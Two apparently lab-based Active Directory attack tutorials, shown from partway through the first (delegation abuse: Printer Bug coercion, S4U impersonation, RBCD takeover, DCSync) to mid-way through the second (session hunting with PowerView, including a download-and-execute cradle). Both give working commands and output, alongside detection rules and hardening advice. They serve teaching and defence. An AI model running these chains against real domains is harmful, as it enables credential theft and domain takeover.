ldapsearch -x -H ldap://192.168.56.10 -D 'lowpriv@lab.local' -w 'LowPass1!' \
-b 'DC=lab,DC=local' \
'(userAccountControl:1.2.840.113556.1.4.803:=524288)' dNSHostName
dn: CN=WEB01,OU=Servers,DC=lab,DC=local
dNSHostName: WEB01.lab.local
DCs always show the flag, that is expected. WEB01 showing it is the finding: a member server that should never have been trusted for delegation. We already cracked svc_iis, which is local admin on WEB01, so we have a path onto the box.
Monitor LSASS for incoming TGTs
On WEB01, with admin, start Rubeus in monitor mode to harvest any TGT that arrives.
Rubeus.exe monitor /interval:1 /nowrap
[*] Action: TGT Monitoring
[*] Monitoring every 1 seconds for new TGTs
Coerce the DC to authenticate (Printer Bug)
The DC will not just connect to WEB01. We force it. The MS-RPRN “Printer Bug” makes a remote spooler call back to an attacker-supplied host using the machine account, which means the DC’s TGT lands in WEB01‘s LSASS.
python3 printerbug.py 'lab.local/lowpriv:LowPass1!'@192.168.56.10 WEB01.lab.local
[*] Impacket v0.11.0
[*] Attempting to trigger authentication via rprn RPC at 192.168.56.10
[*] Bind OK
[*] Got handle
DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Triggered RPC backconnect, this may or may not have worked
The access-denied at the tail is normal; the backconnect still fires. Back in the monitor window:
[*] 5/12/2024 2:41:09 PM UTC - Found new TGT:
User : DC01$@LAB.LOCAL
StartTime : 5/12/2024 2:41:09 PM
EndTime : 5/13/2024 12:41:09 AM
RenewTill : 5/19/2024 2:41:09 PM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket :
doIFxj...AABBQ== (truncated)
Pass-the-Ticket and DCSync
Inject DC01$‘s TGT, then DCSync as a machine account that has replication rights (a DC computer account does).
Rubeus.exe ptt /ticket:doIFxj...AABBQ==
klist
[*] Action: Import Ticket
[+] Ticket successfully imported!
Cached Tickets: (1)
#0> Client: DC01$ @ LAB.LOCAL
Server: krbtgt/LAB.LOCAL @ LAB.LOCAL
Flags: forwardable, forwarded, renewable, pre_authent
mimikatz # lsadump::dcsync /domain:lab.local /user:lab\krbtgt
[DC] 'lab.local' will be the domain
[DC] 'DC01.lab.local' will be the DC server
[DC] 'lab\krbtgt' will be the user account
Object RID : 502
SAM Username : krbtgt
Credentials:
Hash NTLM: 8a6c2f1e... (truncated)
aes256_hmac : b3d9... (truncated)
With the krbtgt hash you forge Golden Tickets at will. Unconstrained delegation plus one coercion primitive turns a member-server foothold into full domain compromise. The defensive read: kill the Print Spooler on DCs and remove unconstrained delegation from everything that is not a DC.
6. Constrained Delegation: S4U2Proxy and Protocol Transition Abuse
Constrained delegation was Microsoft’s answer to the unconstrained nightmare. Instead of caching every TGT, an account lists exactly which service SPNs it may delegate to in msDS-AllowedToDelegateTo. The delegation is performed through two MS-SFU protocol extensions:
- S4U2Self lets a service ask the KDC for a service ticket to itself on behalf of any named user, even one who never used Kerberos. This is “Protocol Transition.” It bridges NTLM (or no auth at all) into a Kerberos ticket.
- S4U2Proxy takes that forwardable ticket and exchanges it for a ticket to one of the SPNs in
msDS-AllowedToDelegateTo.
The dangerous combination: if an account has TRUSTED_TO_AUTH_FOR_DELEGATION set (the Protocol Transition / “use any authentication protocol” radio button), S4U2Self yields a forwardable ticket, and S4U2Proxy then impersonates any user, including Domain Admin, to the allowed service. No password for that user required.
Enumerate constrained delegation
TRUSTED_TO_AUTH_FOR_DELEGATION is bit 0x1000000 (16777216).
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, `
@{N='allowedto';E={$_.'msds-allowedtodelegateto'}}
samaccountname allowedto
-------------- ---------
svc_sql cifs/DC01.lab.local
# Raw LDAP check for the protocol-transition bit
ldapsearch -x -H ldap://192.168.56.10 -D 'lowpriv@lab.local' -w 'LowPass1!' \
-b 'DC=lab,DC=local' \
'(userAccountControl:1.2.840.113556.1.4.803:=16777216)' \
sAMAccountName msDS-AllowedToDelegateTo
dn: CN=svc_sql,CN=Users,DC=lab,DC=local
sAMAccountName: svc_sql
msDS-AllowedToDelegateTo: cifs/DC01.lab.local
The finding: svc_sql is trusted to authenticate for delegation and may delegate to cifs/DC01.lab.local. Because we Kerberoasted svc_sql earlier (it had an SPN) and we know its password is SqlPass1!, we control it. That means we can impersonate Domain Admin to the file system of the DC.
Run the S4U chain (Rubeus, Windows)
First a TGT for the controlled account, then the S4U exchange.
Rubeus.exe asktgt /user:svc_sql /password:SqlPass1! /domain:lab.local /nowrap
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 5f4dcc3b...
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBP...AABBQ==
Rubeus.exe s4u /ticket:doIE+jCCBP...AABBQ== /impersonateuser:Administrator /msdsspn:"cifs/DC01.lab.local" /nowrap /ptt
[*] Action: S4U
[*] Building S4U2self request for: svc_sql@LAB.LOCAL
[*] Impersonating user 'Administrator' to target SPN 'cifs/DC01.lab.local'
[+] S4U2self success!
[*] Building S4U2proxy request for service: 'cifs/DC01.lab.local'
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/DC01.lab.local':
doIGdj...AABBQ==
[+] Ticket successfully imported!
Confirm impersonation
klist
dir \\DC01.lab.local\C$
#0> Client: Administrator @ LAB.LOCAL
Server: cifs/DC01.lab.local @ LAB.LOCAL
Directory of \\DC01.lab.local\C$
05/12/2024 02:55 PM <DIR> Windows
05/12/2024 09:10 AM <DIR> Users
05/12/2024 09:10 AM <DIR> Program Files
The altservice trick: pivot CIFS to LDAP for DCSync
Kerberos does not validate the service class in the returned ticket at the KDC, so a ticket minted for cifs/DC01 can be rewritten to ldap/DC01 on the same host. That promotes file access into directory replication.
Rubeus.exe s4u /ticket:doIE+jCCBP...AABBQ== /impersonateuser:Administrator /msdsspn:"cifs/DC01.lab.local" /altservice:"ldap/DC01.lab.local" /nowrap /ptt
[*] Substituting alternative service name 'ldap/DC01.lab.local'
[+] S4U2proxy success!
[+] Ticket successfully imported!
mimikatz # lsadump::dcsync /domain:lab.local /user:lab\Administrator
SAM Username : Administrator
Credentials:
Hash NTLM: e19ccf75ee54e06b06a5907af13cef42
Linux equivalent (Impacket)
getST.py -dc-ip 192.168.56.10 -spn cifs/DC01.lab.local -impersonate Administrator lab.local/svc_sql:'SqlPass1!'
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC01.lab.local@LAB.LOCAL.ccache
export KRB5CCNAME=Administrator@cifs_DC01.lab.local@LAB.LOCAL.ccache
secretsdump.py -k -no-pass DC01.lab.local
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
lab.local\Administrator:500:aad3b...:e19ccf75ee54e06b06a5907af13cef42:::
krbtgt:502:aad3b...:8a6c2f1e...:::

7. Resource-Based Constrained Delegation: Computer Object Takeover
RBCD inverts the trust direction. Classic constrained delegation lists outbound targets on the delegating account, which requires domain-level write to configure. RBCD puts the trust on the resource: the target computer’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute names which accounts may delegate to it. The catch that makes RBCD a workhorse for attackers: you only need write access to one computer object (GenericWrite / WriteProperty), not domain admin, to configure it. Combine that with the default MachineAccountQuota=10 (any user can create up to ten computer accounts) and you have a self-contained takeover primitive.
Enumerate the write primitive
We provisioned lowpriv with GenericWrite over COMP01$. Find it with BloodHound’s Cypher console:
MATCH p=(u:User {name:"LOWPRIV@LAB.LOCAL"})-[:GenericWrite]->(c:Computer)
RETURN p
LOWPRIV@LAB.LOCAL -[GenericWrite]-> COMP01.LAB.LOCAL
Confirm the same edge with PowerView and confirm we can create machine accounts:
Get-DomainObjectAcl -Identity COMP01 -ResolveGUIDs |
Where-Object {$_.SecurityIdentifier -match (Get-DomainUser lowpriv).objectsid} |
Select-Object ActiveDirectoryRights, ObjectAceType
ActiveDirectoryRights ObjectAceType
--------------------- -------------
WriteProperty All
Get-DomainObject -Identity "DC=lab,DC=local" -Properties ms-DS-MachineAccountQuota
ms-ds-machineaccountquota
-------------------------
10
Two findings confirmed: lowpriv can write to COMP01, and the quota lets us create the attacker-controlled computer we need.
Create the attacker computer (PowerMad)
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'FakePass1!' -AsPlainText -Force)
[+] Machine account FAKE01 added
$fakeSid = (Get-ADComputer FAKE01).SID.Value
$fakeSid
S-1-5-21-3623811015-3361044348-30300820-1142
Write the SID into COMP01’s RBCD attribute
We build a security descriptor granting FAKE01 the right to act on behalf of others, serialize it, and write it.
$rsd = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$fakeSid)"
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $rsd
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-ADComputer COMP01 | Set-ADObject -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes}
Get-ADComputer COMP01 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
DistinguishedName : CN=COMP01,CN=Computers,DC=lab,DC=local
msDS-AllowedToActOnBehalfOfOtherIdentity : {1, 0, 4, 128...}
Name : COMP01
COMP01 now trusts FAKE01 to delegate to it. Because we know FAKE01‘s password, we run S4U as FAKE01 and impersonate any user to COMP01.
Run the S4U chain and land code execution
getST.py -dc-ip 192.168.56.10 -spn cifs/COMP01.lab.local -impersonate Administrator 'lab.local/FAKE01$:FakePass1!'
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_COMP01.lab.local@LAB.LOCAL.ccache
export KRB5CCNAME=Administrator@cifs_COMP01.lab.local@LAB.LOCAL.ccache
wmiexec.py -k -no-pass Administrator@COMP01.lab.local
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
C:\>whoami
lab\administrator
Cleanup (mandatory in authorized work)
Set-ADComputer COMP01 -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity'
Remove-ADComputer FAKE01 -Confirm:$false
# attribute cleared, FAKE01 removed

8. Chaining Techniques: Realistic Attack Paths
None of these live in isolation. The engagement value is the chain.
| Chain | Path |
|---|---|
| Roast to delegation to DA | Kerberoast svc_sql (weak password) -> svc_sql holds protocol-transition constrained delegation to cifs/DC01 -> S4U + altservice to ldap/DC01 -> DCSync krbtgt |
| ACL to RBCD to host | GenericWrite over COMP01 (found in BloodHound) -> create FAKE01 via quota -> write msDS-AllowedToActOnBehalfOfOtherIdentity -> S4U -> SYSTEM on COMP01 |
| Coercion to domain | Find unconstrained WEB01 -> own it via cracked svc_iis -> Printer Bug coerce DC01$ TGT -> PtT -> DCSync |
The connective tissue is always enumeration. PowerView and BloodHound tell you which roasted account matters, which write primitive reaches a tier-0 path, and which coercion target is trusted for delegation. Roasting a random print-queue service that goes nowhere is wasted noise; roasting the one account that also holds delegation rights is the kill.
9. Common Attacker Techniques
| Technique | Description |
|---|---|
| Kerberoasting | Request TGS for user-SPN accounts, crack RC4 ticket offline |
| Targeted Kerberoasting | Add SPN via GenericWrite, roast, clear SPN |
| Unconstrained TGT theft | Capture cached TGTs (incl. DC) from LSASS on a delegation host |
| Printer Bug coercion | Force a target to authenticate via MS-RPRN spooler RPC |
| S4U2Self / S4U2Proxy abuse | Impersonate arbitrary users via protocol transition |
| altservice substitution | Rewrite a service ticket’s SPN class (CIFS to LDAP) for DCSync |
| RBCD takeover | Write msDS-AllowedToActOnBehalfOfOtherIdentity + S4U chain |
| MachineAccountQuota abuse | Create computer accounts as a standard user for RBCD staging |
| Pass-the-Ticket | Inject stolen or forged TGT/TGS into the current session |
10. Defensive Strategies and Detection
Offense without the blue-side picture is half a craft. Each attack above leaves a distinct trail if the audit policy is right. Enable Audit Kerberos Service Ticket Operations and Audit Directory Service Changes at minimum; without those, 4769 and 5136 simply do not appear.
Windows Security event IDs
| Event ID | Log | Trigger | Detection use |
|---|---|---|---|
4769 | Security | TGS requested | Kerberoasting: TicketEncryptionType=0x17 from a non-machine account; S4U2Self: ServiceName == AccountName; S4U2Proxy: non-empty TransitedServices |
4768 | Security | TGT requested | Baseline; spot a host requesting a TGT for a DC machine account post-coercion |
4738 | Security | User account changed | Delegation / UAC flag toggles, msDS-AllowedToDelegateTo edits on users |
4742 | Security | Computer account changed | Delegation flag changes on machine accounts |
4741 | Security | Computer account created | New machine accounts; alert when creator is a non-admin (RBCD/PowerMad staging) |
5136 | Security | Directory object modified | RBCD: AttributeLDAPDisplayName=msDS-AllowedToActOnBehalfOfOtherIdentity, OperationType=Value Added |
A single account requesting many TGS in a burst, or any RC4 request in an AES-enforced domain, is the highest-fidelity Kerberoasting signal. Any write to msDS-AllowedToActOnBehalfOfOtherIdentity outside a change window is near-certain RBCD staging.
Sigma: Kerberoasting
title: Potential Kerberoasting via RC4 Service Ticket Request
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17'
TicketOptions: '0x40810000'
filter:
ServiceName|endswith: '$'
AccountName|endswith: '$'
condition: selection and not filter
level: high
Sigma: RBCD staging
title: Resource-Based Constrained Delegation Attribute Write
logsource:
product: windows
service: security
detection:
selection:
EventID: 5136
AttributeLDAPDisplayName: 'msDS-AllowedToActOnBehalfOfOtherIdentity'
OperationType: '%%14674' # Value Added
condition: selection
level: high
ETW and other telemetry
| Provider | Use |
|---|---|
Microsoft-Windows-Security-Auditing | Source for all 4769/5136/4741 events |
Microsoft-Windows-Kerberos-Key-Distribution-Center | DC-side KDC tracing, verbose TGS issuance |
| Microsoft Defender for Identity | Native Kerberoasting, RBCD, and S4U anomaly detection on the DC sensor |
| Directory Services field-engineering logging (level 5) | Captures raw LDAP filter strings, surfaces (servicePrincipalName=*) sweeps |
Hardening checklist
| Control | Addresses |
|---|---|
| Group Managed Service Accounts (gMSA) | Removes Kerberoasting; 240-char auto-rotating passwords |
| Service passwords >= 25 chars, random | Kerberoasting mitigation where gMSA is infeasible |
Enforce AES, disable RC4 (msDS-SupportedEncryptionTypes=24) | Forces AES TGS, cracking orders of magnitude harder |
| Protected Users group for all tier-0 accounts | Tickets cannot be delegated; no RC4 |
“Account is sensitive and cannot be delegated” (NOT_DELEGATED) | Blocks S4U impersonation of admins |
| Remove unconstrained delegation from non-DCs | Eliminates Printer Bug TGT theft |
MachineAccountQuota=0 via GPO | Blocks user-created computers for RBCD staging |
Restrict GenericWrite/WriteProperty on computer objects | Removes the RBCD write primitive |
| Disable Print Spooler on DCs and sensitive servers | Kills the coercion vector |

11. Tools for Delegation Analysis
| Tool | Description | Link |
|---|---|---|
Impacket (GetUserSPNs.py, getST.py, secretsdump.py) | Linux SPN/S4U/DCSync toolkit | github.com/fortra/impacket |
| Rubeus | Windows kerberoast, S4U, monitor, ptt | github.com/GhostPack/Rubeus |
| PowerView | LDAP delegation and ACL enumeration | github.com/PowerShellMafia |
| BloodHound / SharpHound | Graph-based delegation and ACL path finding | bloodhound.specterops.io |
| PowerMad | Create machine accounts for RBCD staging | github.com/Kevin-Robertson/Powermad |
| Mimikatz | TGT dumping, DCSync, PtT | github.com/gentilkiwi/mimikatz |
| hashcat | Offline TGS cracking (13100/19600/19700) | hashcat.net |
| SpoolSample / printerbug.py | MS-RPRN coercion | github.com/leechristensen/SpoolSample |
| setspn.exe | Native SPN registration and query | docs.microsoft.com |
12. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Kerberoasting | T1558.003 | Event 4769 RC4 from non-machine account |
| Steal or Forge Kerberos Tickets | T1558 | 4768/4769 anomalies, ticket lifetimes |
| Golden Ticket | T1558.001 | Post-DCSync krbtgt use; anomalous TGT |
| Pass the Ticket | T1550.003 | Rubeus ptt; injected ticket without prior 4768 |
| Forced Authentication | T1187 | Spooler RPC callback, 4768 for DC machine account |
| Access Token / Delegation Manipulation | T1134 | 4738/4742 delegation flag changes, 5136 on msDS-AllowedToActOnBehalfOfOtherIdentity |
| OS Credential Dumping: DCSync | T1003.006 | 4662 replication GUID access from non-DC |
Summary
- SPN and delegation misconfigurations let any authenticated user climb to Domain Admin, so enumeration of
servicePrincipalName, UAC delegation flags, andmsDS-*attributes is the highest-value reconnaissance in AD. - Kerberoasting works because the KDC encrypts service tickets with the service account’s password-derived key; user SPNs with RC4 enabled are offline-crackable, computer SPNs are not.
- Unconstrained delegation caches full TGTs in LSASS; combined with Printer Bug coercion it converts a member-server foothold into a DC TGT and
krbtgtcompromise. - Constrained delegation with protocol transition (
TRUSTED_TO_AUTH_FOR_DELEGATION) enables S4U2Self plus S4U2Proxy impersonation of any user, and the altservice trick pivots CIFS tickets into LDAP for DCSync. - RBCD only needs write access to a single computer object plus a non-zero
MachineAccountQuota, making it the most accessible takeover primitive once you find aGenericWriteedge. - Detect via Event 4769 (RC4 TGS bursts), Event 5136 (writes to
msDS-AllowedToActOnBehalfOfOtherIdentity), and Event 4741 (rogue machine accounts); defend with gMSA, AES enforcement, Protected Users,MachineAccountQuota=0, and spooler hardening on DCs.
Related Tutorials
- Jobs and Silos: Process Grouping and Resource Limits
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
References
- Steal or Forge Kerberos Tickets: Kerberoasting, Sub-technique T1558.003 – MITRE ATT&CK
- Steal or Forge Kerberos Tickets, Technique T1558 – MITRE ATT&CK
- Kerberos Constrained Delegation Overview – Windows Server | Microsoft Learn
- Unsecure Kerberos Delegation Security Assessment (Unconstrained, Constrained, RBCD) – Microsoft Defender for Identity | Microsoft Learn
- Kerberos Authentication Troubleshooting Guidance (Unconstrained, Constrained, RBCD) – Windows Server | Microsoft Learn
- Configuring Kerberos Delegation for Group Managed Service Accounts (SPNs, msDS-AllowedToDelegateTo, UAC flags) | Microsoft Learn
Session, Logged-On User, and Local Admin Hunting: Finding Where Domain Admins Are Logged In
You phished a workstation. You’re LABUSER, a nobody in the domain: no local admin, no nested groups, no juicy ACLs. The Domain Admin you actually want never logs on to your box. So the only questions that matter right now are these: where is that privileged account authenticated at this moment, and which of those machines can you already touch with the access you have? Answer both and you’ve drawn a straight line from foothold to SYSTEM on a Domain Controller.
Objective: Understand how a low-privileged domain user enumerates active network sessions, interactive logons, and local administrator membership across domain-joined hosts to locate where Domain Admins are logged in, the exact RPC interfaces and Win32 APIs that make this possible, and the full blue-team detection and hardening stack that turns the hunt into noise.
1. Why Session Hunting Matters in AD Attacks
Credentials in Active Directory are sticky. When a privileged account authenticates interactively to a machine, secrets land in LSASS memory: NTLM hashes, Kerberos TGTs, sometimes cleartext if WDigest or an old credential provider is in play. If you can run as local admin or SYSTEM on that machine, those secrets are yours. That is the entire economic logic of session hunting. You are not attacking the Domain Controller directly. You are finding the cheaper path: a workstation where a DA forgot to log off, where you can already escalate, and where LSASS is sitting there with a Domain Admin TGT in it.
This is a Discovery-phase activity (MITRE TA0007) that directly feeds Lateral Movement (TA0008). The output is a target list ranked by value: “Box X currently holds a session for an account in Domain Admins, and I have local admin on Box X.” Everything else is plumbing.
Two concepts get conflated constantly, so pin them down now:
- A network session is an SMB connection from a remote host to a file or pipe resource. It tells you who connected to this machine over the network, not who is sitting at the console. These are transient and noisy.
- An interactive logon is a console, RDP, service, or batch logon where the user’s credentials are materialized in
LSASSon that machine. This is the prize, because the credential material is local to the box.
The three enumeration primitives below map to these two ideas, and confusing them wastes hours in an engagement.
2. The Three Session Enumeration Primitives
Three distinct RPC interfaces answer “who is on this machine.” Each calls a different Win32 wrapper, traverses a different named pipe, and demands a different privilege. Keeping them separate is the difference between a clean hunt and a pile of false leads.
| Method | API / Transport | Min Privilege | Returns |
|---|---|---|---|
NetSessionEnum | netapi32.dll / MS-SRVS / \PIPE\srvsvc | Domain user (level 10, pre-2016) or local admin (post-2016) | Network / SMB sessions |
NetWkstaUserEnum | netapi32.dll / MS-WKST / \PIPE\wkssvc | Local admin on target | Interactive, service, batch logons |
| Remote Registry | HKEY_USERS / MS-RRP / \PIPE\winreg | Local admin + Remote Registry running | Interactive logons (SIDs under HKEY_USERS) |
Primitive 1: NetSessionEnum (network sessions)
NetSessionEnum returns the list of active SMB sessions connected to a server. The RPC server lives behind the \PIPE\srvsvc named pipe and speaks the MS-SRVS protocol. The killer property: at level 10, on hosts that predate the 2016 hardening, any authenticated domain user can query it. That made it the backbone of Invoke-UserHunter and early BloodHound session collection for years.
The catch is what it returns. The sesi10_cname field is the client name (usually an IP), and sesi10_username is the account that established the SMB session. This is excellent for spotting where an admin’s workstation is reaching out from, but it almost never returns local accounts (they generally cannot connect over SMB), and the results are incomplete by design. You point it at a file server or DC and learn which clients are currently talking to it.
Primitive 2: NetWkstaUserEnum (interactive logons)
NetWkstaUserEnum is the reliable one when you have the access for it. Microsoft’s own documentation states the list “includes interactive, service, and batch logons.” It runs over the \PIPE\wkssvc pipe (MS-WKST), and it requires local administrator on the target. That privilege gate is exactly why it returns the good stuff: it tells you who is logged on at the box, not who connected over the network.
This is the most reliable way to list logged-on users when you hold admin credentials. PowerView’s Get-NetLoggedon wraps it directly, and SharpHound implements it in the ReadUserSessionsPrivileged method inside ComputerSessionProcessor.cs, with the P/Invoke declared in NativeMethods.cs.
Primitive 3: Remote Registry (HKEY_USERS)
When a user logs on interactively, Windows loads their profile hive under HKEY_USERS, keyed by SID. Enumerate the subkeys of HKEY_USERS on a remote machine and you get the SIDs of every interactively logged-on user. The transport is the \PIPE\winreg pipe (MS-RRP), and it needs the Remote Registry service running plus local admin.
That service is disabled by default on Windows 10/11 workstations and set to trigger-start on server SKUs (it starts when something pokes \PIPE\winreg). Sysinternals PsLoggedOn uses this method, which is why it sometimes returns nothing on a hardened workstation even when someone is clearly logged in.
Local admin group enumeration (SAMR)
The other half of the equation is “where do I already have admin.” NetLocalGroupGetMembers (in netapi32.dll, over the SAMR protocol on \PIPE\samr) returns the members of BUILTIN\Administrators (RID 544) on a remote host. PowerView exposes this as Get-NetLocalGroupMember; SharpHound handles it in LocalAdminProcessor.cs. Cross-reference the local admin members against where DA sessions live and the kill chain writes itself.

3. Windows API Internals: Structs and Signatures
Tools abstract this away, but you should know what they call, because EDRs hook these exact symbols and because writing your own collector dodges signatured binaries.
NetSessionEnum‘s full signature:
NET_API_STATUS NET_API_FUNCTION NetSessionEnum(
[in] LMSTR servername, // \\host or NULL for local
[in] LMSTR UncClientName, // filter by client, NULL = all
[in] LMSTR username, // filter by user, NULL = all
[in] DWORD level, // 0, 1, 2, 10, 502
[out] LPBYTE *bufptr, // receives allocated array
[in] DWORD prefmaxlen, // MAX_PREFERRED_LENGTH
[out] LPDWORD entriesread,
[out] LPDWORD totalentries,
[in, out] LPDWORD resume_handle
);
The level parameter controls both the returned struct and the privilege required. Level 10 is the low-privilege sweet spot:
typedef struct _SESSION_INFO_10 {
LMSTR sesi10_cname; // client name (typically source IP)
LMSTR sesi10_username; // account that opened the session
DWORD sesi10_time; // seconds the session has been active
DWORD sesi10_idle_time; // seconds the session has been idle
} SESSION_INFO_10, *PSESSION_INFO_10;
Levels 1 and 2 carry richer data (open files, session flags, client type), but only members of the local Administrators or Server Operators group can call them. Level 10 returns the four fields above and was historically callable by any authenticated user.
NetWkstaUserEnum‘s signature is simpler since it has no client/user filters:
NET_API_STATUS NetWkstaUserEnum(
LMSTR servername,
DWORD level, // 0 or 1
LPBYTE *bufptr,
DWORD prefmaxlen,
LPDWORD entriesread,
LPDWORD totalentries,
LPDWORD resume_handle
);
Level 1 hands back WKSTA_USER_INFO_1, which is what you want for attribution:
typedef struct _WKSTA_USER_INFO_1 {
LMSTR wkui1_username; // logged-on account
LMSTR wkui1_logon_domain; // its domain
LMSTR wkui1_oth_domains; // other domains
LMSTR wkui1_logon_server; // DC that authenticated it
} WKSTA_USER_INFO_1, *PWKSTA_USER_INFO_1;
Both APIs allocate their output buffer inside netapi32.dll. You must release it with NetApiBufferFree(bufptr) or you leak. A custom level-10 collector in C# looks like this skeleton, declaring the P/Invoke and marshaling the array:
[DllImport("netapi32.dll", SetLastError = true)]
static extern int NetSessionEnum(
string servername, string UncClientName, string username,
int level, out IntPtr bufptr, int prefmaxlen,
out int entriesread, out int totalentries, ref int resume_handle);
[DllImport("netapi32.dll")]
static extern int NetApiBufferFree(IntPtr buffer);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct SESSION_INFO_10 {
public string sesi10_cname;
public string sesi10_username;
public uint sesi10_time;
public uint sesi10_idle_time;
}
// NetSessionEnum("\\\\DC01.lab.local", null, null, 10, out p,
// -1 /*MAX_PREFERRED_LENGTH*/, out read, out total, ref resume);
// Walk p as SESSION_INFO_10[read]; Marshal.PtrToStructure each entry,
// advancing by Marshal.SizeOf(typeof(SESSION_INFO_10)).
// Always NetApiBufferFree(p) when done.
Why does the authentication “just work” against a remote host? Because the RPC bind rides SMB, and when SharpHound or PowerView passes a hostname (not an IP), the SMB client requests a Kerberos service ticket for the cifs/DC01.lab.local SPN, presents it, and the server validates the PAC in the ticket. No password prompt, no NTLM, because your current Kerberos TGT is good for the whole domain. That single-sign-on behavior is what lets a foothold fan out across hundreds of hosts silently.
4. The Windows Server 2016 / KB2871997 Privilege Shift
For years the level-10 trick was free reconnaissance. Microsoft eventually closed it. As of Windows Server 2016 (and rolled into the broader credential-hardening work tracked under updates like KB2871997), querying NetSessionEnum requires administrator access on the target. The control is a security descriptor stored in the registry:
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\SrvsvcSessionInfo
On a default modern server, the DACL on that value no longer grants the Authenticated Users SID (S-1-5-11) read access to session info, so a plain domain user calling level 10 gets ERROR_ACCESS_DENIED (5). On an unhardened or legacy DC, or one where an admin loosened that key, the call still succeeds for any domain user. This is exactly why the lab DC in the next section is left at defaults: so you can see the working case before you understand what removes it.
Practical takeaway: against a 2019 DC that has not had this key tightened, level 10 works. Against a freshly patched 2022 environment with the default DACL, it does not, and you fall back to NetWkstaUserEnum (which needs admin anyway). Test, don’t assume.
5. Manual Enumeration with Built-in Tools and PowerView
Enumeration always precedes exploitation. Before you can hunt sessions you need the host list, and before you trust a tool you should know the living-off-the-land equivalent.
Built-in living-off-the-land checks
net session shows sessions connected to the local box. It needs admin even locally, but it costs nothing and burns no tooling:
C:\> net session
Computer User name Client Type Opens Idle time
\\10.10.10.41 LABDA 0 00:02:13
The command completed successfully.
qwinsta queries terminal/RDP sessions on a remote server, useful for spotting an interactive RDP logon:
C:\> qwinsta /server:WS01.lab.local
SESSIONNAME USERNAME ID STATE TYPE DEVICE
services 0 Disc
console LABDA 1 Active
rdp-tcp 65536 Listen
Host discovery via LDAP with PowerView
Load PowerView in memory so nothing touches disk, then pull every computer object. The LDAP filter under the hood is (&(objectCategory=computer)(objectClass=computer)):
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.99/PowerView.ps1')
Get-DomainComputer | Select-Object dnshostname, operatingsystem
dnshostname operatingsystem
----------- ---------------
DC01.lab.local Windows Server 2019 Standard Evaluation
WS01.lab.local Windows 10 Pro
WS02.lab.local Windows 10 Pro
That’s your target universe. Three hosts here; in a real estate it’s hundreds, and you’d pipe dnshostname straight into the session functions.
Network sessions with Get-NetSession
Get-NetSession wraps NetSessionEnum at level 10. Point it at the DC, which sees connections from everywhere:
Get-NetSession -ComputerName DC01.lab.local
CName : \\10.10.10.41
UserName : LABDA
Time : 133
IdleTime : 12
ComputerName : DC01.lab.local
10.10.10.41 is WS01. So a Domain Admin’s workstation is actively talking to the DC. That alone narrows the hunt.
Interactive logons with Get-NetLoggedon
Get-NetLoggedon wraps NetWkstaUserEnum and needs local admin on the target. Run it against WS01 once you have that access:
Get-NetLoggedon -ComputerName WS01.lab.local
UserName LogonDomain AuthDomains LogonServer
-------- ----------- ----------- -----------
LABDA LAB DC01
WS01$ LAB DC01
LABUSER LAB DC01
LABDA is logged on interactively at WS01. Confirmed prize.
Local admin membership with Get-NetLocalGroupMember
Get-NetLocalGroupMember calls NetLocalGroupGetMembers over SAMR and answers “who can already own this box”:
Get-NetLocalGroupMember -ComputerName WS01.lab.local -GroupName Administrators
ComputerName : WS01.lab.local
GroupName : Administrators
MemberName : WS01\Administrator
SID : S-1-5-21-3623811015-3361044348-30300820-500
IsGroup : False
IsDomain : False
ComputerName : WS01.lab.local
GroupName : Administrators
MemberName : LAB\Workstation Admins
SID : S-1-5-21-3623811015-3361044348-30300820-1142
IsGroup : True
IsDomain : True
If LABUSER is nested into LAB\Workstation Admins, you already have admin on WS01, the same box where LABDA is logged in. That is the whole game in two queries.
One-shot hunting with Find-DomainUserLocation
Find-DomainUserLocation is the modern successor to Invoke-UserHunter. It iterates the computers from Get-DomainComputer, runs Get-NetSession plus Get-NetLoggedon on each, and cross-references against the membership of a target group:
Find-DomainUserLocation -UserGroupIdentity "Domain Admins" -ShowAll
UserDomain : LAB
UserName : LABDA
ComputerName : WS01.lab.local
IPAddress : 10.10.10.41
SessionFrom : 10.10.10.41
LocalAdmin :
One command, full sweep: LABDA (Domain Admin) is on WS01.lab.local. Note the timing caveat though. A single scan catches only the sessions live at that instant.
6. Automated Mapping with BloodHound and SharpHound
Manual hunting is fine for three hosts. At scale you need a graph, and you need to scan repeatedly, because privileged users log on and off all day. A single network sweep typically captures only 5 to 15 percent of the sessions that actually occur. That is why looped collection exists.
SharpHound Community Edition is the official collector for BloodHound CE. It’s C#, it calls the same native Win32 functions covered above plus LDAP for object data, and it emits a graph of nodes (users, computers, groups) and edges (relationships).
The collection methods you care about for this hunt:
| Method | What It Collects |
|---|---|
Session | Network + logon sessions via NetSessionEnum and NetWkstaUserEnum |
LocalAdmin | BUILTIN\Administrators membership via SAMR |
LoggedOn | Logged-on users, privileged collection path |
All | Everything, including GPO and ACL data |
